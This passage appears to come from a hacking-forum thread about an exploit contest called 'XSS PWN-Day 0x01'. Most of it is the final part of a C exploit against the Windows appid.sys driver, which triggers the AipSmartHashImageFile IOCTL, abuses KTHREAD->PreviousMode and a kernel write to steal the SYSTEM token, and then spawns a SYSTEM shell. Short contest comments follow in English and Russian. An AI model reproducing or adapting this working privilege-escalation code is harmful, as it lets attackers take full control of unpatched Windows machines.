shif.ptr = malloc(sizeof(VULN_CALLBACK_STRUCT));
shif.field0 = 0;
shif.ptr->vuln_callback_addr = ntoskrnl_base + offset_PopEtDataSectionCopyData;
shif.dummy_f_obj = DummyFile;
shif.prev_mode = Curthread + KTHREAD_PREVIOUS_MODE_OFFSET;
//
// Sending the payload to the appid.sys vulnerable AipSmartHashImageFile handler
// to trigger the bug.
//
__debugbreak();
success = DeviceIoControl(hAppID, IOCTL_SMART_HASH_IMAGE_FILE, &shif, inbufsize, NULL, NULL, NULL, NULL);
if (success == FALSE)
{
printf("[-] DeviceIoControl failed with error %x\n", GetLastError());
}
printf("[!] Leveraging DKOM to achieve LPE\n");
printf("[!] Calling Write64 wrapper to overwrite current EPROCESS->Token\n");
uint8_t mode = UserMode;
Write64(Curproc + EPROCESS_TOKEN_OFFSET, Sysproc + EPROCESS_TOKEN_OFFSET, 0x8);
//
// Restoring KTHREAD->PreviousMode
//
Write64(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET, &mode, 0x1);
//
// Spawn the shell with "nt authority\system"
//
system("cmd.exe");
done:
if (hCurproc != NULL)
{
CloseHandle(hCurproc);
}
if (hThread != NULL)
{
CloseHandle(hThread);
}
return 0;
}
Holding such competitions is interesting. I think it is much better than the usual CTFs. Unfortunately, I arrived late and lost my motivation. I hope I can participate in the next stage. If possible, hold the next stage in multiple levels so that we beginners can also progress. Thank you.Vexer2k unhappyangel Поздравляю вас ребята, респект и уважуха вам.
XSS PWN-Day - 0x01 закончился, но это не означает, что мы прощаемся... Всем кому не довелось поучаствовать или кто не дошел до финиша, не растраивайтесь, у нас еще будут подобные конкурсы. 0x02 быть!!! Изучайте бинарную эксплуатацию, не используйте готовые\чужие эксплойты, ищите информацию на баг-трек лентах, используйте свои знания и инструменты для создания собственных вариантов кода, изучайте чужой код. Успешных вам взломов!!!
keep it up